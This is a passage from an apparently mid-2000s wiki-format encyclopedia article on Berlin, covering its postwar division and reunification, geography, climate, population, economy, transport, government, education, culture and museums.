During the war, large parts of Berlin were destroyed by bombs and street combat. After the occupation of the city by the [[Red Army]] and the German surrender in [[1945]], Berlin was divided into four sectors, analogous to the occupation zones into which Germany was divided. The sectors of the Western Allies (the [[United States]], [[United Kingdom]], and [[France]]) formed [[West Berlin]], while the sector of the [[Soviet Union]] formed [[East Berlin]].

For Berlin as a whole, all four allies retained shared oversight. However, the growing political differences between the Western Allies and the Soviet Union led the Soviet Union, which controlled the territory surrounding Berlin, to impose the [[Berlin Blockade]], an economic blockade of West Berlin from 1948 to 1949. The Allies successfully overcame this blockade through the Berlin Airlift.

[[Image:Berlin Wall graffiti&amp;death strip.jpg|thumb|280px|left|The Berlin Wall in 1986, brightly painted on the western side. Those trying to cross the so-called death strip on the eastern side could be shot.]]In 1949 the democratic Federal Republic of Germany was founded in [[West Germany]], while the Marxist-Leninist German Democratic Republic (GDR) was proclaimed in [[East Germany]]. The founding of the two German states increased [[Cold War]] tensions. West Berlin was surrounded by the territory of the GDR. Due to Berlin's isolation and vulnerability, the Federal Republic established its provisional capital in [[Bonn]]. The GDR, however, proclaimed East Berlin, which included most of the historic centre, as its capital. The east-west conflict culminated in the construction of the [[Berlin Wall]] between East and West Berlin and other barriers around West Berlin by the GDR on [[13 August]] [[1961]]. West Berlin was now de facto a part of the Federal Republic of Germany, although with a unique legal status, while East Berlin was de facto a part of the GDR.

The eastern and western portions of Berlin were now completely separated. It was possible for Westerners to pass from one to the other only through strictly controlled checkpoints. For most Easterners, travel to West Berlin or West Germany was no longer possible. In [[1971]], the Four-Power Agreement on Berlin was signed. While the Soviet Union applied the oversight of the four powers only to West Berlin, the Western Allies emphasized in a [[1975]] note to the [[United Nations]] their position that four-power oversight applied to Berlin as a whole.

In [[1989]] pressure from the East German population brought a transition to democracy in the GDR, and Easterners gained free access across the Berlin Wall, which was quickly demolished. In [[1990]] the two parts of Germany were reunified as the Federal Republic of Germany and Berlin became the German capital according to the unification treaty. In [[1991]], the [[Bundestag ]] (the lower house of the German parliament) decided, after a controversial public discussion, that the city should again be the seat of the German national government. Most branches of the German government relocated from Bonn to Berlin during the subsequent years. On [[1 September]] [[1999]] the German parliament and government began their work in Berlin.

==Geography==
===Geographic Setting===
Berlin is located in eastern Germany, about 70 kilometres (40 miles) west of the border with [[Poland]]. Berlin's [[landscape]] was shaped by [[ice sheets]] during the last [[Ice Age]]. The city centre lies along the river [[Spree]] in the Berlin-Warsaw 'urstromtal' (ancient river valley), formed by water flowing from melting ice sheets at the end of the last Ice Age. The urstromtal lies between the low plateaus of the Barnim, to the north, and the Teltow, to the south. In Berlin's westernmost borough, [[Spandau]], the Spree meets the river [[Havel]], which flows from north to south through western Berlin. The course of the Havel is much like a chain of lakes. The largest lakes along the Havel are the Tegelsee and [[Wannsee|Großer Wannsee]]. A series of lakes also feeds into the upper Spree, which flows through eastern Berlin's largest lake, [[Müggelsee|Großer Müggelsee]].

[[Image:Havel_Berlin.jpg|thumb|400px|The River Havel flows through a series of lakes in western Berlin.]]

Substantial parts of present-day Berlin extend onto the low plateaus that line the Spree Valley. Large parts of the boroughs [[Berlin-Reinickendorf|Reinickendorf]] and [[Pankow]] lie on the Barnim, while most of the boroughs [[Charlottenburg-Wilmersdorf]], [[Steglitz-Zehlendorf]], [[Tempelhof-Schöneberg]], and [[Neukölln]] are on the Teltow. The borough of Spandau lies partly within the Berlin urstromtal and partly on the Nauen Plain, which stretches to the west of Berlin.

The highest elevations in Berlin are the Teufelsberg in the borough of Charlottenburg-Wilmersdorf and the Müggelberge in the borough of [[Treptow-Köpenick]]. Both hills have an elevation of about 115 metres (377 feet), and are in fact artificial piles of rubble from the ruins of World War II.

===Climate===
The city has a moderate climate. The mean annual temperature for Berlin-Dahlem is 9.4 degrees Celsius (48.9 degrees Fahrenheit) and its mean annual precipitation totals 578 millimeters (22.8 inches). The warmest months are June, July, and August, with mean temperatures of 16.7 to 17.9 degrees Celsius (62.1 to 64.2 degrees Fahrenheit). The coldest are December, January, and February, with mean temperatures of -0.4 to 1.2 degrees Celsius (31.3 to 34.2 degrees Fahrenheit). The months with the highest precipitation are June and August, which average 70.7 millimeters (2.78 inches) and 65.3 millimeters (2.57 inches), respectively. The months with the lowest mean precipitation are October and February, with averages of 35.8 millimeters (1.41 inches) and 36.7 millimeters (1.44 inches), respectively.

==Demography==
Berlin has 3,393,933 inhabitants (as of September 2005) in an area of 891.75 square kilometres (344.31 [[square miles|mi²]]). Thus, the population density of the region amounts to 3,806 inhabitants per square kilometre (9,857/square mile). Berlin residents' average age is 41.7 years (as of 2004). A total of 450,900 inhabitants are foreigners who are citizens of 185 nations (as of December [[2004]]). Among them, approximately 36,000 citizens come from the nearest neighbouring country, [[Poland]], and 119,000 are from [[Turkey]]—Berlin is the largest Turkish municipality in Europe outside of Turkey. In 2004, 22.3% of the population were Protestants, 9.1% were Catholics, 6.2% were Muslims, and 0.4% were Jews.

Between approximately the 1890s and the mid-1920s, Berlin was the fourth-largest [[urban area]] in the world after [[London]], [[New York City|New York]], and [[Paris]]. Today, it is the sixth-largest [[Largest urban areas of the European Union|urban area in the European Union]], and approximately the 80th-largest urban area in the world.

For a table showing the historical development of Berlin's population, see [[Berlin population statistics]].

==Economy==

Berlin was once a major manufacturing centre and the economic and financial hub of Germany. The city suffered economically during the Cold War, when West Berlin was isolated geographically and East Berlin suffered from poor economic decisions made by East Germany’s central planners. Since reunification, the city has relied increasingly on economic activity in the service sectors.

===Economic history===

Berlin was founded at a point where trade routes crossed the River Spree and quickly became a commercial centre. During the early modern period, the city prospered from its role as Prussian capital by manufacturing luxury goods for the Prussian court and supplies for the Prussian military.

During the mid-1800s, the Industrial Revolution transformed the city’s economy. Berlin became Germany’s main rail hub and a centre of rail locomotive manufacturing. The city became a leader in the manufacture of other kinds of machinery as well, and developed an important chemical manufacturing sector. Toward the end of the 19th century, Berlin became a world leader in the then cutting-edge sector of electrical equipment manufacturing As the de facto centre of the German [[Zollverein]], or Customs Union, and later the seat of imperial Germany’s central bank, Berlin became Germany’s banking and financial centre as well.

Berlin suffered from both the German inflation of the 1920s and the [[Great Depression]] of the 1930s. The city’s economy revived as a centre of armaments production under the Nazis, but it lost a pool of entrepreneurial talent when the Nazis forced Jewish businessmen to sell their holdings and ultimately massacred most who did not flee Germany. World War II severely damaged Berlin’s industrial infrastructure, and Soviet expropriation of machinery and other capital equipment as “reparations” further damaged Berlin’s industrial base. Soviet restrictions on transport impeded communication with West Germany and ended hopes that Berlin would resume a role as Germany’s financial centre; most banks established headquarters in [[Frankfurt]]. In East Berlin, central planners rebuilt a manufacturing sector, but one that was not competitive internationally or responsive to market demand. West Berlin’s economy grew increasingly dependent on state subsidies and on its role as an educational and research centre.

Berlin’s and Germany’s unification brought the collapse of many of East Berlin’s producers, which could not compete with market-disciplined Western competitors. Massive unemployment was only partly compensated by the growth of jobs in the construction and infrastructural sectors involved in rebuilding and upgrading East Berlin’s infrastructure. The arrival of the federal government in 1999 brought some economic stimulus to Berlin. Berlin’s service sectors have also benefited from improved transportation and communications links to the surrounding region. The service sectors have become the city’s economic mainstay.

[[Image:Sony_Center_Berlin.jpg |250px|thumb|left|Berlin’s Sony Center and newly built corporate offices, 2005]]

===Economic structure and trends===

Berlin's economy has shrunk over the past decade. The gross state product totaled €77.9 billion in 2004. This compares with €77.4 billion in 1995. Correcting for the effects of inflation, however, this represents an 11% reduction in the size of Berlin's economy over 9 years. 

The biggest declines came in the construction and manufacturing sectors. Construction registered a real decline of 64.2% between 1995 and 2004, a decline that coincides with the completion of a range of projects for modernizing the eastern boroughs' infrastructure, improving links between the western boroughs and their neighbours, and building new government and corporate offices. Meanwhile, the city’s manufacturing sector continued a gradual decline, shrinking by 24.3% in real terms over the 9-year period.

Berlin’s service sectors were somewhat more robust, growing 7.4% in nominal terms from 1995 to 2004, but declining by 5.0% over the same period after adjusting for inflation. Tourism, transport, and communications each showed substantial declines of more than 10% in real terms over this period. In fact, the only sector of Berlin’s economy to grow in inflation-adjusted terms between 1995 and 2004 was the real estate sector, which grew by 3.5% over the 9-year period. Other service sectors showed modest declines in inflation-adjusted terms.

In terms of composition, Berlin's gross state product in 2004 was dominated by the service sectors, which made up 76.9% of the economy. The largest service sectors were real estate (29.2%) and government services (28.3%). Goods-producing sectors accounted for 16.2% of the economy, with manufacturing alone accounting for 10.5% and construction for 2.9%. Agriculture, forestry, and fisheries made up 0.1% of the economy. Imputed banking fees made up 3.0% of the city’s economy. Net government transfers and subsidies accounted for the remainder (9.7%) of Berlin's gross state product.

Before the reunification of Germany and the two Berlins in 1990, West Berlin received substantial subsidies from the West German state to compensate for its geographic isolation from West Germany. Many of those subsidies were phased out after 1990. The reduced financial support for the city and its gradual economic decline have produced fiscal difficulties for Berlin's city government and forced it to cut funding for various programs.

==Infrastructure==
As Germany's largest city, and one of the largest cities in Europe, Berlin developed a complex transportation and energy-supply infrastructure before World War II. After the war, West Berlin was cut off from the surrounding territory and had to develop independent infrastructures. Meanwhile, the government of East Germany built rail lines and highways that allowed traffic between East Berlin and the western part of East Germany to bypass West Berlin. The political reunification of East and West Berlin has led to the reintegration of Berlin's transportation and energy-supply with the infrastructures of the surrounding region.

===Public transport and rail lines===
{{commons|Berlin U-Bahn|Berlin U-Bahn}}
{{commons|Berlin S-Bahn|Berlin S-Bahn}}
[[Image:Karte sbahn berlin.png|thumb|400px|Berlin's S-Bahn network]]Public transport within Berlin is provided by the [[Berlin S-Bahn|S-Bahn]]—operated by the firm S-Bahn Berlin—and by the [[Berlin U-Bahn|U-Bahn]], [[Berlin Straßenbahn|Straßenbahn]], [[Berlin Bus|bus]], and ferries—operated by the [[Berliner Verkehrsbetriebe]], or BVG.  The S-Bahn is a mostly aboveground urban railway system.  The U-Bahn is the city's mainly underground metro or subway system. The Straßenbahn is a tram (trolley) system that operates mainly in eastern Berlin. Buses provide extensive service linking outlying districts with the city centre and the U-Bahn and S-Bahn. Almost all means of public transport—U- &amp; S- Bahn, trams, buses and most ferries—can be accessed with the same ticket. 

As the network map at the right shows, the inner city is crossed from east to west by the elevated main line (''Stadtbahn''), which carries S-Bahn trains as well as regional and long-distance trains. This main line passes through most of the city's long-distance and regional train stations, including Charlottenburg, Zoologischer Garten (Zoo), [[Berlin Lehrter Bahnhof|Lehrter Bahnhof–Hauptbahnhof]], Friedrichstrasse, Alexanderplatz, and Ostbahnhof. Along the north-south axis, the U-Bahn 9 line carries the largest passenger volume, supplemented by the north-south line of the S-Bahn. The north-south and east-west lines of the S-Bahn cross at Friedrichstrasse. 

The last key component of Berlin's rail network is the S-Bahn ring (''Ringbahn'') that forms a circle around the inner city and crosses the main line at Westkreuz (“west crossing”) and Ostkreuz (“east crossing”). A number of regional and regional express lines connect Berlin with the surrounding region. The city is also served by the freight railyard at Seddin, south of Potsdam.

There are useful online resources for getting around Berlin using public transport, such as the [http://www.fahrinfo-berlin.de/fahrinfo/bin/query.bin/en?L=bvg&amp;ld=bvg4&amp;L=bvg&amp;seqnr=1 route planner] or a map of the current [http://www.bvg.de/index.php/de/Common/Document/field/file/id/68 public transport network]. See also [[List of Berlin metro stations]].

[[Image:U-Bahn Berlin Gleisdreieck.JPG|thumb|left|400px|The U-Bahn station at Gleisdreieck]]Long-distance rail lines connect Berlin with all of the major cities of Germany and with many cities in neighbouring European countries. Regional rail lines provide access to the surrounding region of Brandenburg and eastern Germany.

Berlin was, pre-1945, the hub of the central European [[railway]] network. [[World War Two]] and the political division of Germany disrupted Berlin's railway network. Today only two pre-1945 long-distance stations, [[Berlin Ostbahnhof|Ostbahnhof]] and [[Berlin-Zoologischer Garten station|Zoologischer Garten]], remain in service. In the early 1950s, in an effort by the East German government to isolate West Berlin, railway services were diverted away from termini in West Berlin . The following stations became disused and were demolished during the 1950s and 1960s.
*[[Berlin Anhalter Bahnhof|Anhalter Bahnhof]]
*[[Berlin Stettiner Bahnhof|Stettiner Bahnhof]]
*[[Berlin Görlitzer Bahnhof|Görlitzer Bahnhof]]
*[[Berlin Potsdamer Bahnhof|Potsdamer Bahnhof]]
*[[Berlin Lehrter Bahnhof|Lehrter Bahnhof]]

===Motorways===

Berlin's inner city is partly surrounded by a [[motorway]] (superhighway, expressway, or [[freeway]]), the A 100, that forms a half circle to the west of the centre. There are plans to extend this motorway to form a full circle around the inner city.   The A 10 motorway forms a full circle around the exterior of Berlin.

From the A 100, within the city, the following motorways extend outward to the A 10 and beyond:

* A 111 to the northwest (toward [[Hamburg]] and [[Rostock]])

* A 113 to the southeast (toward [[Dresden]] and [[Cottbus]]). This motorway currently begins in the far southeastern part of Berlin. By 2007, the connection to the A 100, currently under construction, should be complete.

* A 115 to the southwest (toward [[Hannover]] and [[Leipzig]]).  The segment of this motorway inside the A 10 is still commonly known as the Avus.

In addition, in the northern part of the city, the A 114 runs from [[Pankow]] to and beyond the A 10 toward [[Szczecin]] in Poland.

===Airports===
Berlin has three commercial airports—[[Tegel International Airport]] (TXL), [[Tempelhof International Airport]] (THF), and [[Schönefeld International Airport]] (SXF). Schönefeld lies just outside Berlin's southeastern border in the state of Brandenburg, while the other two airports lie within the city. Tempelhof handles only short-distance and commuter flights, and there are plans to close the airport and transfer its traffic to Berlin's other two airports. There are longer-term plans to close Tegel as well. Schönefeld is currently undergoing expansion. Berlin's airport authority aims to transfer all of Berlin's air traffic sometime after 2010 to a greatly expanded airport at Schönefeld, to be renamed [[Berlin Brandenburg International Airport]]. However, some residents of Berlin and Brandenburg oppose the planned expansion of service at Schönefeld. For more information on Berlin's airports, see the website of [http://www.berlin-airport.de/PubEnglish/index.php Berlin Airports].

===Canals and ports===
Berlin is linked to the [[Baltic Sea]], the [[North Sea]], and the River [[Rhine]] by an extensive network of rivers and canals. The Elbe-Havel Kanal links the River Havel, flowing from Berlin, both with the River [[Elbe]]—which flows into the North Sea at Hamburg—and with the [[Mittellandkanal]], which stretches across Germany to a network of canals that provide a link to the River Rhine. The Oder-Spree Kanal links Berlin's River Spree with the [[Oder River|River Oder]], which flows into the Baltic Sea near Szczecin.

[[Image:Teltowkanal Tempelhof1.JPG|thumb|400px|The Teltowkanal at Tempelhof]]The most important canals with Berlin run roughly east to west between the Rivers Spree and Havel. The canal system to the north of the Spree begins with the Berlin-Spandauer Schiffartskanal, which runs from the Spree near Lehrter Bahnhof to the edge of Charlottenburg, where it connects with the Westhafenkanal, which reenters the Spree farther west in Charlottenburg, and with the Hohenzollernkanal, which runs to the River Havel above (north of) Spandau. 

The main canal to the south of the Spree is the Teltowkanal, which runs from an arm of the upper Spree south of Köpenick through the southern part of Berlin to an arm of the Havel just east of Potsdam. A shorter canal, the Landwehrkanal, parallels the Spree just to the south of the river. It begins at the Spree between Treptow and Kreuzberg and rejoins the Spree in Charlottenburg. The Neuköllner Schiffahrtskanal connects the Landwehrkanal with the Teltowkanal; while the Britzer Zweigkanal connects the Teltowkanal with the Spree at Baumschulenweg. 

Berlin's largest port is the Westhafen (“west port”), in Moabit (Mitte), with an area of 173,000 m² (42.75 [[acre]]s). It lies at the intersection of the Berlin-Spandauer Schiffahrtkanal, the Westhafenkanal, and the Hohenzollernkanal. It handles the transshipment of grain and pieced and heavy goods. The Südhafen (“south port”), which actually lies along the Havel in Spandau, in far western Berlin, covers an area of about 103,000 m² (25.5 acres) and also handles the transshipment of pieced and heavy goods. The Osthafen (“east port”), with an area of 57,500 m² (14.2 acres), lies along the Spree in Friedrichshain. The Hafen Neukölln, with only 19,000 m² (4.7 acres), is located along the Neuköllner Schiffahrtskanal in Neukölln. It handles the transshipment of building materials.

===Power supply===
The [[power supply]] of Berlin has some peculiarities. In World War II it was planned to supply the grid of Berlin over an [[HVDC]]-underground [[cable]] from Dessau power station. The construction of this facility was begun in 1943, but was abandoned (see [[Elbe-Project]]).

During the time of the division, the power grid of former West Berlin was cut off from the power grid of the surrounding countryside. [[Electricity]] supply was from thermal [[power station]]s in the city (Reuter, Wilmersdorf ,etc.). For [[buffer|buffering]] the load peaks, accumulators were installed in the 1980s in some of these power stations, which were connected by static inverters to the power grid and were loaded during times of low [[power consumption]] and unloaded during times of high consumption. In 1993 the power connections to the surrounding country, which were broken in 1951, were restored again. In the western districts of Berlin nearly all power lines are underground cables - only a 380 kV and a 110 kV-line, which run from Reuter power station to the urban motorway, are overhead lines. In Berlin there is the longest 380 kV three phase cable, the [[380kV-crossing Berlin]]. It may be the most expensive power line in Germany ([http://www.seo.ag/ SEO]).

Berlin's power supply is operated by the Swedish firm [[Vattenfall]].  The firm has come under criticism for relying more heavily than other electricity producers in Germany on [[lignite]] (brown coal) as an energy source, because burning lignite produces harmful emissions. However, the firm has announced a commitment to shift towards reliance on cleaner, renewable energy sources.

==Government==
=== The state===
Berlin is the national capital of the Federal Republic of Germany. Since German reunification on [[3 October]] [[1990]] it has been one of the three [[city state]]s, together with [[Hamburg]] and [[Bremen (state)|Bremen]], among the present 16 German states or ''[[States of Germany|Bundesländer]]''.

[[Image:Sitzverteilung Berliner Abgeordnetenhaus.png|250px|thumb|Distribution of seats in the Berlin House of Representatives (''Abgeordnetenhaus'')]]
The city and state [[parliament]] is the House of Representatives (''Abgeordnetenhaus'') with 141 seats.
Berlin's  executive body is the [[Senate]] of Berlin (''Senat von Berlin''). The Senate of Berlin consists of the governing mayor (''Regierender Bürgermeister'') and up to eight senators holding ministerial portfolios. The governing mayor is both lord mayor of the city (''Oberbürgermeister der Stadt'') and prime minister of the federal state (''Ministerpräsident des Bundeslandes'') at the same time. The office of Berlin's governing mayor is in the [[Rotes Rathaus]] (Red City Hall). Presently (January 2006), this office is held by [[Klaus Wowereit]] of the [[Social Democratic Party of Germany|Social Democratic Party]] (SPD). The city's government is based on a coalition between the SPD and [[Left Party (Germany)|Die Linke.PDS]], a party formed by a merger of the Party of Democratic Socialism (PDS), the successor to the former East German communist party, and a breakaway faction of left-wing former members of the SPD. For earlier mayors, see the [[list of Mayors of Berlin]].

===Berlin's boroughs and localities===
[[Image:Berlin.png|thumb|300px|left|Berlin's boroughs ''(Bezirke)'']]
Berlin is subdivided into 12 [[borough|boroughs]] (''Bezirke'' in German, also sometimes called [[district|districts]] in English). Each borough is subdivided into a number of [[locality|localities]] (''Ortsteil'' in German, also sometimes called subdistricts or [[neighbourhood|neighbourhoods]] in English), which represent the traditional [[urbanised]] areas that inhabitants identify with. Some of these have been rearranged several times over the years. At present the city of Berlin consists of 96 such localities. The localities are often subdivided into a number of city neighbourhoods (usually called ''Kiez'' in German) representing small residential areas.

Each borough is governed by a borough council (''Bezirksamt'') consisting of ten councillors  (''Stadträte'') and a borough mayor (''Bezirksbürgermeister''). The borough council is elected by the borough assembly (''Bezirksverordnetenversammlung''). The boroughs of Berlin are not independent municipalities. &lt;!-- ([[urban district]], ''Stadtkreis'') --&gt; The power of borough governments is limited and subordinate to the Senate of Berlin. The borough mayors form the Council of Mayors (''Rat der Bürgermeister''), led by the city's governing mayor (''Regierender Bürgermeister''), which advises the Senate.

The localities have no government bodies of their own, even though most of the localities have historic roots in older municipalities that predate the formation of Greater Berlin on [[1 October]] [[1920]]. The subsequent position of locality representative (''Ortsvorsteher'') was discontinued in favour of borough mayors.

For a map and a list of the current and former borough names, see [[Berlin's 2001 administrative reform]].  For a list of the city's current boroughs and localities, see [[Boroughs and localities of Berlin]].   For a table showing the population of Berlin's boroughs, see [[Berlin population statistics]].

==Education==
Berlin is perhaps Germany's most important centre of higher education and research, with four universities, numerous professional and technical colleges, and a large number of research institutes.  

===Universities, colleges, and research institutions===
[[Image:Humboldt Universitaet Berlin.jpg|thumb|400px|Berlin's Humboldt Universität]]Around 150,000 students attend the universities and professional/technical colleges.  The three largest universities alone account for around 110,000 students.  These are the [[Freie Universität Berlin]] with 40,840 students, the [[Humboldt Universität zu Berlin]] with 36,423 students, and the [[Technische Universität Berlin]] with 31, 547 students. In addition to these universities, there is a wide range of professional and technical colleges training students in a wide range of disciplines, from business and management to the arts.

Berlin also has a large concentration of research institutions independent of, or only loosely connected to its universities.  Together with its universities, these research institutions make Berlin one of the most important centres for research in Germany and indeed Europe.

For a list of Berlin's universities, colleges, and research institutions, see [[Universities, colleges, and research institutions in Berlin]].

===Primary  and secondary schools===
Berlin has a six-year primary school program. After completing primary school, students may enter one of four types of secondary school: the [[Hauptschule]], the [[Realschule]], the [[Gymnasia and Realgymnasia|Gymnasium]], and the Gesamtschule.  The secondary school program also totals six years. (For more information on the German educational system, see [[Education in Germany]].)

==Culture and sights==
Berlin is noted for its numerous cultural institutions, some of which are famous even outside of Germany. In addition, cultural diversity and tolerance remain from the time when West Berlin took pride in its role as a &quot;free city&quot; with the motto &quot;something for everyone.&quot; Its current situation and future prospects, however, are strongly influenced by  the city's financial crisis, with talk of merging or closing opera companies and concerns about the cost of subsidies for cultural institutions.

Berlin offers one of the most diverse and vibrant nightlife scenes in Europe. After the fall of the Berlin Wall in 1989 many buildings in the former city centre of East Berlin (today the district Mitte) were renovated. Many had not been rebuilt since World War II. Illegally occupied by young people, they became a fertile ground for all sorts of [[underground culture|underground]] and [[counter-culture]] gatherings. It was also home to many [[nightclub]]s, including Tacheles, [[Techno music|Techno]] clubs ''[[Tresor]]'', ''WMF'', ''Ufo'' and ''E-Werk''.

[[Image:Loveparade_big_digital_art.jpg|thumb|left|340px|Digital art inspired by Berlin's Loveparade]]Berlin's annual [[Karneval der Kulturen|Carnival of Cultures]], a multi-ethnic street parade, and [[Gay Pride|Chistopher Street Day]] celebrations, Central Europe's largest gay-lesbian pride event, are openly supported by the city's government.*[http://www.berlin-tourist-information.de/english/unterwegs/e_uw_berlinprogramm_gay.html]**[http://www.berlin-tourist-information.de/english/zielgruppen/e_zg_gay_bezirke.php]. Berlin is also well-known for the [[Techno music|techno]] carnival [[Loveparade]].

Berlin has a rich [[art]] scene, and it is home to hundreds of [[art galleries]]. The city is host to the Art Forum annual international art fair. Despite the city's high [[unemployment]] levels, many young Germans and artists continue to settle in the city, and Berlin has established itself as an important centre of [[youth]] and [[pop culture]] in Europe.

Signs of this expanding role were the 2003 announcement that the annual [[Popkomm]], Europe's largest [[music industry]] [[convention]], would move to Berlin after 15 years in [[Cologne]]. Shortly thereafter, [[German (language)|German]] [[MTV]] also decided to move its headquarters and main studios from Munich to Berlin. [[Universal Music]] opened its European headquarters on the banks of the River [[Spree]] in an area known as the [http://www.mediaspree.de mediaspree].

===Media===
Berlin is the headquarters of many regional and national broadcasters. In addition to several television stations, there are a large number of private radio stations. The public broadcasters RBB and Deutsche Welle TV also have their headquarters in Berlin. Most national broadcasters account for Berlin's political role as capital with a broadcasting studio in the city.

Berlin has Germany's largest number of daily newspapers, with three major local broadsheets and three major tabloids, as well as national dailies of varying sizes, each with different political affiliations. In addition, several weekly papers publish ads, and Berlin has three alternative weeklies focusing on culture and entertainment.

Berlin is also the headquarters of two major German-language publishing houses: Walter de Gruyter and Springer, each of which publishes books, periodicals, and multimedia products.

===Film industry and films about Berlin===
Berlin is the centre of the [[Cinema of Germany|German film industry]], partly due to the existence of the [[Babelsberg Studios]] and many important film and TV production companies like [[UFA]], [[Senator Film]], [[Goldkind]] etc. Many international movies and European co-productions have been filmed there. Berlin is also home of the [[European Film Academy]], the [[German Film Academy]] and host of the [[Berlinale]] film festival. There are many [[film|films]] that were set in or portray the special &quot;Berlin-Atmosphere&quot; from different eras, among them are:

* ''[[:de: Berlin: Die Sinfonie der Großstadt|Die Sinfonie der Großstadt]]'' - 1927 Documentary Type Film ''&quot;[[1920s Berlin|Day in the life of Berlin]]&quot;'' &lt;!-- [http://german.imdb.com/title/tt0017668/] --&gt;
* ''[[Berlin Alexanderplatz]]'' - [[1920s Berlin]]
* ''[[M (1931 movie)|M]]'' - Early 1930s Berlin
* ''[[The Testament of Dr. Mabuse]]'' - 1933 Berlin
* ''[[Germany, Year Zero]]'' - Shows the nightmarishly dilapidated remains of 1945 Berlin, post WWII
* ''[[One, Two, Three]]'' - Cold War before the Wall 1961
* ''[[Funeral in Berlin]]'' 1966 [[Cold War]] [[Thriller]] - A bit dated, filmed in Berlin with some nice scenes in Kreuzberg
* ''[[Cabaret (film)|Cabaret]]'' - Filmed in 1972, set in the early 1930s
* ''[[Christiane F.]] - Wir Kinder vom Bahnhof Zoo'' - 1970s
* ''[[Sonnenallee]]'' - A teen comedy set in East Berlin in the 1970s
* ''[[Taxi zum Klo]]'' - A gritty and groundbreaking 1981 film documenting gay sex and culture in West Berlin
* ''[[Linie 1]]'' - 1988 Film of the 1986 [[Musical theater|Musical]] about [[Berlin U-Bahn|U-Bahn]] [[U1 (Berlin U-Bahn)|Line 1]] in West Berlin
* ''[[Coming Out]]'' - East Germany's first and only gay film, a love story set in East Berlin, which premiered, coincidentally, on the evening in 1989 when the Berlin Wall came down
* ''[[Good bye, Lenin!]]'' - Set in East Berlin in 1989
* ''[[Der Himmel über Berlin]]'' ([[Wings of Desire]]) - A [[cult film]] about divided city by ''[[Wim Wenders]]'' from 1987
* ''[[Run Lola Run]]'' - Filmed 1998 in post-reunification Berlin
* ''[[Hedwig and the Angry Inch]]'' - A [[cult film]] and [[Musical film|musical]] about a German singer-transvestite who escapes East Berlin in 1989 (2001)
* ''[[Der Untergang]]'' ([[Downfall]]) - 2004 German film portraying the final days of the [[Third Reich]] in [[Führerbunker|Hitler's bunker]]

===Museums===
[[Image:Bodemuseum.jpg|thumb|400px|The Bode Museum at the northern tip of the Spree Island]]Berlin has a large number of museums. As early as 1841, the [[Museum Island]]—in the northern part of the Spree Island between the Spree and the Kupfergraben—was designated a “district dedicated to art and antiquities” by a royal decree. Subsequently, several museum buildings were constructed there. These were the Altes Museum (Old Museum) in the Lustgarten, and the Neues Museum (New Museum), Alte Nationalgalerie (Old National Gallery), Pergamon Museum, and Bode Museum at the far northern end of the island. While these buildings once housed distinct collections, the names of the buildings no longer necessarily correspond to the names of the collections they house.

For example, the Altes Museum and the Pergamon Museum together house the Collection of Classical Antiquities, [http://www.museen-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=3&amp;n=1&amp;r=3] a collection of ancient art and artifacts. The Pergamon Museum also houses the world-renowned Museum of the Ancient Near East [http://www.museen-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=23&amp;n=1&amp;r=21] and the Museum of Islamic Art [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?objID=12&amp;lang=en]. 

The Egyptian Museum and Paypyrus Collection [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=2&amp;n=1&amp;r=1] is currently situated and on show on the upper floor of the Altes Museum, beside the Berliner Dom. 

The Museum for Pre-and Early History remains at the Charlottenburg Palace until the Neues Museum is renovated. In the case of the Alte Nationalgalerie, [http://www.smpk.de/ang/e/s.html] its collection of 19th-century painting and sculpture carries the same name as the building that houses it. However, the Bodemuseum, which underwent extensive renovation during the early 2000s, will house the Sculpture Collection and Museum of Byzantine Art [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=14&amp;n=1&amp;r=20] and the Numismatic Collection [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=9&amp;n=1&amp;r=11] when it reopens in 2006.

Outside of the Museum Island, there is a wide variety of museums. The [[Gemäldegalerie (Berlin)|Gemäldegalerie]][http://www.museen-berlin.de/gg/e/s.html] (Painting Gallery) focuses on the paintings of the &quot;old masters&quot; from the 13th to the 18th centuries, while the Neue Nationalgalerie [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=20&amp;n=1&amp;r=19] (New National Gallery, built by [[Ludwig Mies van der Rohe]]) specialises in 20th-century European painting. The Bauhaus Archive [http://www.bauhaus-archiv.de/english/index.htm] is an architecture museum. The [[Jewish Museum Berlin]] [http://www.juedisches-museum-berlin.de/site/EN/homepage.php?meta=TRUE] has a standing exhibition on 2,000 years of German-Jewish history. The Grunewald Hunting Lodge ''(Jagdschloss Grunewald)'' [http://www.spsg.de/index.php?id=140] contains a carefully chosen collection of paintings from the 15th to the 19th centuries. In Dahlem, there are several museums of world art and culture, such as the Museum of Indian Art [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=11&amp;n=1&amp;r=15], the Museum of East Asian Art [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=13&amp;n=1&amp;r=17], the Ethnological Museum [http://www.smb.spk-berlin.de/smb/sammlungen/details.php?lang=en&amp;objectId=56&amp;n=1&amp;r=4], the Museum of European Cultures [http://www.museen-berlin.de/mek/e/s.html], as well as the Allied Museum [http://www.alliiertenmuseum.de/en/0.php] (a museum of the Cold War), the Brücke Museum [http://www.bruecke-museum.de/themuseum.htm] (an art museum), and the Domäne Dahlem http://www.domaene-dahlem.de/index2_e.htm (an open-air agricultural museum. In Lichtenberg, on the grounds of the former East German Ministry for State Security ''(Stasi)'', stands the Stasi Museum [http://www.stasi-museum.de/index.htm German website]. The Wall Museum, also known as Museum at Checkpoint Charlie [http://www.mauermuseum.de/index.htm], shows moments from the history of the divided Berlin.

Other museums in Berlin include the following:

*Archenhold Observatory (Archenhold-Sternwarte) [http://www.astw.de]
*The Berggruen Collection (Picasso and his times) [http://www.smb.spk-berlin.de/shb/e/s.html]
*Berlin State Gallery [http://www.berlinischegalerie.de/en/71-1-1_0.htm]
* Berlin Underground Society, offering tours and documentation of Berlin's subterranean structures [http://www.berliner-unterwelten.de ]
*Berlin Wall Documentation Center [http://www.berliner-mauer-dokumentationszentrum.de/index_e.html]
*Broehan Museum [http://www.broehan-museum.de/home1.htm]
*Deutsche Guggenheim Museum [http://www.deutsche-bank-kunst.com/guggenheim/e/]
*Gas Lamp Open-Air Museum, adjacent to S-Bahnhof Tiergarten (see section on Street lighting)[http://www.dtmb.de/Aktuelles/Kooperationen/Laternen/body.html]
